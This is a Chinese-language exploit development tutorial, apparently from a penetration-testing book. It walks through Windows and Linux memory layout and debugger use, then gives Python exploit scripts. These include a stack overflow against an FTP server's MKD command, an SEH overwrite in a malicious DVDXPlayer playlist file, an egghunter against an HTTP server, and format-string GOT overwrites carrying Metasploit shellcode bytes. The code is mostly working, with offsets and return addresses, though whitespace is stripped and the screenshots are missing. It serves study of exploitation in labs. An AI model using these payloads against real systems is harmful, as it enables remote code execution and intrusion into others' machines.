堆是用于动态分配内存的。当应用程序不知道将接收或处理的数据时,堆将用于存储以无序方式分配的全局变量和值。堆仅在应用程序终止时才被释放。
堆的增长与堆栈相反。它从较低的地址增长到较高的地址:
程序映像是实际可执行文件存储在内存中的位置。可执行文件将以可移植可执行文件(PE)格式存在,并包括可执行文件和DLL。在这个部分中,定义了一些项目,如PE头、.text、.rdata、.data等。PE头定义了可执行文件的其余部分的头信息,.text包括代码段。.rdata是只读数据段,.rsrc是存储可执行文件的资源,如图标、菜单和字体的部分。
当我们运行一个应用程序时,该可执行文件的一个实例将作为一个进程运行,并提供运行该应用程序所需的资源。存储运行进程的非内核组件的进程属性是PEB。此外,PEB驻留在用户可访问的内存中。
一些进程可能有一个或多个线程。在这种情况下,每个进程都从一个单一的主线程开始,并在需要时创建更多的附加线程。此外,所有这些线程共享相同的虚拟地址。每个线程都有自己的资源,包括异常处理程序、本地存储等。因此,就像PEB一样,每个线程都有TEB。TEB也驻留在进程地址空间中。
我们需要一个安装了ImmunityDebugger的WindowsXP机器来分析示例应用程序。
以下是了解ImmunityDebugger基本用法的步骤:
这将打开以下窗格:
这是在ImmunityDebugger中打开的应用程序的内存映射。这包括所有堆栈、堆、DLL和可执行文件。
您可以按以下方式查看堆栈:
DLLs可以被识别如下:
程序图像及其内容将如下所示:
DLLs、TEB和PEB将被识别如下:
在本教程中,我们将讨论利用具有缓冲区溢出漏洞和保存的返回指针覆盖的应用程序。
易受攻击的机器环境是WindowsXP。因此在真实或虚拟环境中运行WindowsXP并在其中安装ImmunityDebugger。
然后,将mona.py添加到ImmunityDebugger应用程序文件夹内的pyCommands文件夹中:
按照以下步骤创建缓冲区溢出攻击的利用:
#!/usr/bin/pythonimportsocketimportsysevil="A"*1000s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)connect=s.connect(('192.168.1.39',21))s.recv(1024)s.send('USERanonymous\r\n')s.recv(1024)s.send('PASSanonymous\r\n')s.recv(1024)s.send('MKD'+evil+'\r\n')s.recv(1024)s.send('QUIT\r\n')s.close这将在Windows机器上创建大量数据并将其发送到FTP服务器。通过发送这个,程序将崩溃:
在这里,您可以看到EIP寄存器被我们提供的缓冲区覆盖。此外,ESP和EDI寄存器也包含我们的缓冲区。
下载脚本
evil="A"*1000使用以下代码:
这也会使应用程序崩溃,但EIP寄存器会更新为我们注入的模式的一部分
!monafindmsp输出将如下所示:
从中我们可以确定EIP寄存器被247后的4个字节覆盖了。
因此,我们可以尝试在前247个位置写入A,然后在EIP寄存器中写入4个B,并用C填充,因为我们需要1000个。然后用新的有效载荷更新Python脚本:
evil="A"*247+"B"*4+"C"*749在调试器中重新启动应用程序并再次运行Python脚本。这也会使应用程序崩溃。但是,检查寄存器:
现在EIP被我们提供的值覆盖了。这里是42424242,也就是BBBB。
!monajmp-resp输出将如下所示:
我们可以使用列表中的第一个指针,即77def069。
evil="A"*247+"\x69\xf0\xde\x77"+"C"*749现在在ImmunityDebugger中重新启动应用程序,并在77def069处设置断点。您可以使用ImmunityDebugger中的Goto选项转到该地址:
设置断点如下:
选择内存,选择访问选项。
然后运行Python脚本。这将在断点处使应用程序中断,我们可以查看寄存器如下:
结构化异常处理(SEH)是一种防止缓冲区溢出的保护机制。SEH使用链表,因为它包含一系列数据记录。当发生异常时,操作系统将遍历此列表并检查适当的异常函数。为此,异常处理程序需要指向当前异常注册记录(SEH)的指针和指向下一个异常注册记录(nSEH)的另一个指针。由于Windows堆栈向下增长,顺序将被颠倒:
因此,如果我们可以用POPPOPRETN指令覆盖SEH,POP将从堆栈顶部移除四个字节,RETN将返回执行到堆栈顶部。由于SEH位于esp+8,我们可以用八个字节增加堆栈,并返回到堆栈顶部的新指针。然后我们将执行nSEH。因此,我们可以添加一个四字节的操作码来跳转到另一个内存位置,我们可以在其中包含shell。
与上一个教程一样,我们需要一台受害机器,安装有ImmunityDebugger和mona.py的WindowsXP。还要在Windows机器上安装下载的应用程序DVDXPlayer5.5PRO。
以下是为SEH攻击创建利用脚本的步骤:
#!/usr/bin/pythonfilename="evil.plf"buffer="A"*2000textfile=open(filename,'w')textfile.write(buffer)textfile.close()pythondvd_exploit.py这将创建一个evil.plf文件
检查崩溃的寄存器。还可以使用Shift+F9键通过崩溃:
在寄存器中有许多零,因为SEH将它们清零。然后我们可以检查SEH链以验证我们是否已覆盖了SEH:
现在,我们可以生成一个模式并更新脚本以生成播放列表文件。我们已经下载了一个脚本来为之前的配方生成模式。我们可以使用相同的脚本:
从中我们可以推断出SEH是608之后的4个字节。
buffer="A"*604+"B"*4+"C"*4+"D"*1388然后我们的脚本将如下所示:
#!/usr/bin/pythonfilename="evil.plf"buffer="A"*604+"B"*4+"C"*4+"D"*1388textfile=open(filename,'w')textfile.write(buffer)textfile.close()!monaseh输出将如下所示:
从中选择s指针。在这里我们可以选择以下一个:
使用一组指令创建了一个egghunter,这些指令被翻译成操作码。因此,egghunters可以用于搜索整个内存范围,包括堆栈和堆,以查找最终阶段的shell代码,并将执行流重定向到shell代码。
Egghunters包括一个用户定义的四字节标记,它将用于在内存中搜索,直到找到这个标记重复两次为止。当它找到标记时,它将重定向执行流到标记后面,我们的shell代码所在的地方。
我们的受害机是一个WindowsXP32位机器。确保在其中安装了带有mona.py的ImmunityDebugger。
以下是使用egghunters生成利用脚本的步骤:
#!/usr/bin/pythonimportsocketimportosimportsysbuff="A"*600buffer=("HEAD/"+buff+"HTTP/1.1\r\n""Host:192.168.1.37:8080\r\n""User-Agent:Mozilla/5.0(Windows;U;WindowsNT6.1;he;rv:1.9.2.12)Gecko/20101026Firefox/3.6.12\r\n""Keep-Alive:115\r\n""Connection:keep-alive\r\n\r\n")expl=socket.socket(socket.AF_INET,socket.SOCK_STREAM)expl.connect(("192.168.1.37",8080))expl.send(buffer)expl.close()pythonkolibri_exploit.py这将像往常一样使应用程序崩溃:
从中我们可以确定在515字节后EIP可以被四个字节覆盖
我们可以从中选择一个指针,并将其放置在我们的缓冲区中。我们可以选择以下指针:
0x7e45b310:jmpesp|{PAGE_EXECUTE_READ}[USER32.dll]ASLR:False,Rebase:False,SafeSEH:True,OS:True,v5.1.2600.5512(C:\WINDOWS\system32\USER32.dll)此外,我们将在缓冲区中放置egghunter,并进行短跳转。为此,我们必须在最后包含短跳转的操作码。因此,相应地更新缓冲区,包括指针和短跳转的操作码。短跳转的操作码可以计算如下。短跳转操作码以\xEB开头,后面跟着我们需要跳转的距离。这里我们需要向后跳转60个字节。
因此,使用计算器将-60十进制转换为十六进制:
在ImmunityDebugger控制台中发出以下命令,并复制生成的egghunter代码:
在为Linux环境开发的应用程序中开发漏洞的利用可以使用Python工具。我们必须使用调试器,如pwndbg来调试应用程序。然后,我们可以使用Python脚本来利用这些漏洞。在本章中,我们将介绍一些基本漏洞和开发利用脚本的方法。
格式字符串是一个包含文本和格式参数的ASCIZ字符串。格式字符串漏洞发生在应用程序将输入字符串的提交数据评估为命令时。借助这种方法,攻击者可以执行代码,读取堆栈,并可能导致分段错误。格式字符串漏洞存在于大多数printf系列函数中,如printf,sprintf和fprintf。这些是格式字符串漏洞中常用的参数:
我们需要一个32位x86Linux真实或虚拟环境来创建有漏洞的应用程序,并了解其中涉及的基本概念。在Linux环境中有一些概念的基本了解也是先决条件。
确保在Linux环境中安装了pwndbg调试器。要检查,请打开终端并输入gdb:
>>gdb如果安装了pwndbg,这将打开pwndbg控制台:
pwndbg>您可以使用q退出此控制台。我们还需要一个有漏洞的应用程序来进行工作。为了更好地理解,我们可以在C中创建一个简单的有漏洞的应用程序。
程序在编译时使用全局偏移表。它有助于从外部库中获取使用的函数的位置。要查看这一点,我们必须依赖objdump命令。objdump命令是Linux环境中用于获取对象文件详细信息的命令。这在调试时非常有用。
要生成用于注入的shell代码,我们必须使用Metasploitshell代码生成功能,因此请确保您的计算机上已安装Metasploit。
以下是在Linux环境中创建利用格式字符串的利用脚本的步骤:
#include
sysctl-wkernel.randomize_va_space=0./fmtTEST这将打印传递给应用程序的参数
这里的第一个测试从堆栈打印一些十六进制值,但第二个将值写入堆栈值指向的内存位置,最终导致分段错误。因此,从测试结果来看,很明显我们可以从RAM中读取,也可以向RAM中写入。
我们传递的AAAA和BBBB字符以十六进制值的形式出现在堆栈的第四个参数上,AAAA为41414141,BBBB为42424242。从中可以清楚地看出,我们现在可以控制堆栈上的第四个参数。
gdb./fmtdisassemblemain这将打印出汇编代码。从中我们可以确定应用程序在59上调用printf@plt,在72上调用putchar@plt。因此,我们可以在59处设置断点以进行调试:
从中我们将得到动态重定位记录中putchar的位置。在这里是08049748,对您可能是不同的。因此,请确保相应地更新您的脚本。
gdb./fmtpwndbg>break*main+59pwndbg>break*main+64pwndbg>run$'\x48\x97\x04\x08%x%x%x%n'这将运行到我们的第一个断点,即printf之前:
从中我们知道该值更改为0x00000018。当printf执行时,格式字符串值%n作为参数,它打印出一个等于到目前为止打印的字节数的32位长度值。在这里,程序到目前为止打印了18个字节。
#!/usr/bin/pythonw1='\x48\x97\x04\x08JUNK'w2='\x49\x97\x04\x08JUNK'w3='\x4a\x97\x04\x08JUNK'w4='\x4b\x97\x04\x08JUNK'form='%x%x%x%n%x%n%x%n%x%n'printw1+w2+w3+w4+form在这里,我们为我们的应用程序创建一个有效载荷。这将作为输入提交以写入内存位置。因此,生成32位字的最佳方法是执行四次写入,每次针对一个字节,并将它们组合起来。
然后该值更改为0x4c443c34
该值从其先前的值0x4c443c更改为0x564e46。因此,所有字节都增加了16。现在它的长度为16个字节。
#!/usr/bin/pythonw1='\x48\x97\x04\x08JUNK'w2='\x49\x97\x04\x08JUNK'w3='\x4a\x97\x04\x08JUNK'w4='\x4b\x97\x04\x08JUNK'b1=0xaab2=0xbbb3=0xccb4=0xddn1=256+b1-0x2en2=256*2+b2-n1-0x2en3=256*3+b3-n1-n2-0x2en4=256*4+b4-n1-n2-n3-0x2eform='%x%x%'+str(n1)+'x%n%'+str(n2)form+='x%n%'+str(n3)+'x%n%'+str(n4)+'x%n'printw1+w2+w3+w4+form通过这样做,我们在每个%n之前添加了足够的前导零,以匹配打印字符的总数,并匹配我们计划写入的期望值。此外,每次写入时字节的总数都会增加;我们必须为每个值添加256,以使最后的字节干净。
现在putchar@got.plt指针的值为0xddccbbaa,这是我们计划写入其中的值。
现在我们可以在堆栈上看到NOP滑梯。我们可以选择NOP滑梯中间的地址来添加shell代码。在这里我们可以选择0xbffff110。
现在我们可以用Metasploit生成一个shell代码:
现在用shell代码更新利用代码:
#!/usr/bin/pythonw1='\x48\x97\x04\x08JUNK'w2='\x49\x97\x04\x08JUNK'w3='\x4a\x97\x04\x08JUNK'w4='\x4b\x97\x04\x08JUNK'b1=0x10b2=0xf1b3=0xffb4=0xbfn1=256+b1-0x2en2=256*2+b2-n1-0x2en3=256*3+b3-n1-n2-0x2en4=256*4+b4-n1-n2-n3-0x2eform='%x%x%'+str(n1)+'x%n%'+str(n2)form+='x%n%'+str(n3)+'x%n%'+str(n4)+'x%n'nopsled='\x90'*95buf=""buf+="\xbd\x55\xe7\x12\xd0\xd9\xc2\xd9\x74\x24\xf4\x5e\x33"buf+="\xc9\xb1\x18\x31\x6e\x13\x03\x6e\x13\x83\xee\xa9\x05"buf+="\xe7\xba\x53\x92\xc5\xbb\xd6\xe2\xa2\xbd\xe9\x22\xfa"buf+="\xc3\xc4\x23\xca\x18\x21\xc0\x7e\xdc\x9e\x6d\x83\x6b"buf+="\xc1\xc2\xe5\xa6\x81\x78\xb4\x6a\xe9\x7c\x48\x9a\xb5"buf+="\xea\x58\xcd\x15\x62\xb9\x87\xf3\x2c\xf7\xd8\x72\x8d"buf+="\x03\x6a\x80\xbe\x6a\x41\x08\xfd\xc2\x3f\xc5\x82\xb0"buf+="\x99\xbf\xbd\xee\xd4\xbf\x8b\x77\x1f\xd7\x24\xa7\xac"buf+="\x4f\x53\x98\x30\xe6\xcd\x6f\x57\xa8\x42\xf9\x79\xf8"buf+="\x6e\x34\xf9"postfix='X'*(250-len(buf))print(w1+w2+w3+w4+form+nopsled+buf+postfix)我们添加了一个后缀,使注入字符的总数保持恒定。
我们可以在调试器中看到这些细节:
缓冲区溢出可能导致程序崩溃或泄露私人信息。在运行程序的情况下,缓冲区可以被视为计算机主内存中具有特定边界的部分,因此基本上访问分配的内存空间之外的任何缓冲区。
由于变量存储在堆栈/堆中,访问这个边界之外的任何内容可能导致读/写其他变量的一些字节。但是通过更好的理解,我们可以执行一些攻击。
按照以下步骤在Linux环境中生成缓冲区溢出攻击的利用代码:
objdump-dbof从中我们可以得到secretfunction的内存位置:
这就是它,0804848b。并且28个字节被保留用于echo函数的本地变量:
现在我们可以设计有效载荷--我们知道,28个字节被保留用于缓冲区,紧挨着EBP指针。所以,接下来的四个字节将存储EIP。现在我们可以用任意随机字符设置前28+4=32个字节,然后接下来的四个字节将是secretfunction()的地址。
print("a"*32+"\x8b\x84\x04\x08")将其保存到一个exploit_bof.py文件中,并将其加载为应用程序的有效载荷